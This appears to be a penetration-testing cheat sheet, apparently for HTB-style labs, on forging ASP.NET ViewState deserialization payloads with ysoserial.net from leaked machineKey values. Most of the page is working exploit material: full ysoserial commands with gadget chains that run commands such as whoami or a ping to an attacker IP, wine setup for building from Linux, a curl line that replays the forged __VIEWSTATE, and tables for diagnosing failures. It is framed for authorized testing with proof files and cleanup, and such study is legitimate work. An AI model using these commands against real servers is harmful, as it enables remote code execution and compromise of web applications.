ysoserial.net
ysoserial.net creates .NET deserialization payloads. Its ViewState plugin can sign and, where required, encrypt a payload using disclosed ASP.NET machineKey material. The application must actually deserialize a compatible ViewState format; possession of keys alone is not proof of code execution.
1. Gather the exact inputs
| Input | Where to obtain it |
|---|---|
validationKey and validation algorithm | Application configuration disclosure |
decryptionKey and decryption algorithm | Configuration, when encrypted ViewState requires them |
| Page and application paths | The real ASP.NET route and application root |
__VIEWSTATEGENERATOR | Page response; relevant to the plugin’s legacy mode |
ViewStateUserKey | Application/session logic if a per-user MAC key is set |
| Cookies and other form fields | A successful baseline request captured from the browser |
A decryption key existing in web.config does not prove this page encrypts ViewState. Also keep __EVENTVALIDATION, split ViewState fields and session cookies when the page needs them.
2. Choose one framework mode
The ViewState plugin has two mutually exclusive signing modes. Pick one and supply only its flags — mixing them silently discards half your input. Start by reading the options on your build:
.\ysoserial.exe -p ViewState --help
Do not assume every gadget works under Mono or every target loads the required assemblies.
Modern path-based mode
The MAC covers the request path, so --path and --apppath must match the real route. Replace the key, algorithms and paths with observed values. A small output file proves execution without adding a reverse-shell dependency.
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate `
-c "whoami > C:\Windows\Temp\viewstate-proof.txt" `
--validationalg="HMACSHA256" --validationkey="<validation-key-hex>" `
--path="/app/default.aspx" --apppath="/app/" `
--showraw
The gadget is an example, not a compatibility guarantee. Select a supported gadget for the target’s assemblies/framework.
Legacy generator mode
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate `
-c "whoami > C:\Windows\Temp\viewstate-proof.txt" `
--validationalg="SHA1" --validationkey="<validation-key-hex>" `
--generator="A8B3C4D5" --showraw
In this plugin, supplying --generator selects legacy behaviour and causes --path / --apppath to be ignored. Do not combine the two recipes assuming all options contribute to the MAC.
If encryption is required, add --decryptionalg="AES" --decryptionkey="<key-hex>" with the observed algorithm/key. If a per-user key is known, use --viewstateuserkey="<exact-value>"; the generator does not supply that value.
3. Generating from a Linux box
ysoserial.net is a .NET Framework binary — it wants mscorlib and the Windows GAC, not modern cross-platform .NET. A Windows host is the path of least resistance. Failing that, the generated payload is just a string, bound to the target’s keys and request path, not to the machine that built it, so you can build it anywhere and paste it into Burp on the attack box.
Under wine, the same invocation works with wine in front:
nix shell nixpkgs#wineWow64Packages.stable # Wow = 32- and 64-bit; plain wine rejects the 32-bit exe
export WINEPREFIX=~/.wine-ysoserial WINEDEBUG=-all
wineboot --init # first run only, slow
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--path="/portfolio/default.aspx" \
--decryptionalg="AES" --decryptionkey="<decryption-key-hex>" \
--validationalg="SHA1" --validationkey="<validation-key-hex>" \
-c "ping 10.10.14.6"
Two failure modes are worth recognising immediately rather than debugging:
| Symptom | Cause / fix |
|---|---|
wine: Bad EXE format for ...ysoserial.exe | 32-bit exe under 64-bit-only wine. Use wineWow64Packages.stable, not wine. |
.NET stack trace naming mscorlib / assembly load | Gadget needs Framework internals wine lacks. Rotate -g, or move to Mono / a Windows box. |
| Prints the payload but the target rejects it | Not a wine problem — check --path, the algorithms and keys, and double URL-encoding (see below). |
The Mono-container route, prefix management and the NixOS specifics are on the Windows .NET tooling on wine sheet.
4. Encode once and replay the request
The plugin URL-encodes its output by default. --showraw emits raw base64, which is the form accepted by curl --data-urlencode. Save only that final base64 line in viewstate.txt, without debug output or labels.
curl -i 'http://app.domain.htb/app/default.aspx' \
-b session.cookies \
--data-urlencode '__VIEWSTATE@viewstate.txt' \
--data-urlencode '__EVENTVALIDATION=<value-from-baseline>'
Include __VIEWSTATEGENERATOR or other fields if the actual request contains them. When using the default URL-encoded plugin output in a raw form request, do not URL-encode it again: %2B becoming %252B corrupts the payload.
5. Success and failure interpretation
Success: retrieve the agreed proof file through the existing access path and verify the application identity. An HTTP 500 can occur after execution; an HTTP 200 can occur without it. Use independent execution evidence rather than the status code alone.
| Symptom | Check |
|---|---|
| MAC validation error | Key, algorithm, path mode, user key and session |
| Base64/format error | Double encoding, copied labels, split fields |
| Valid state but no execution | Gadget dependencies and deserialization path |
| Command fails after deserialization | App-pool permissions, executable path and command quoting |
Remove the proof file and document the affected route and identity. Keep leaked keys out of published evidence.
See Also
- Windows .NET Tooling on wine (NixOS) — running this and other Windows-only .NET tools from a Linux box
- File Inclusion / LFI
- curl
- Potato attacks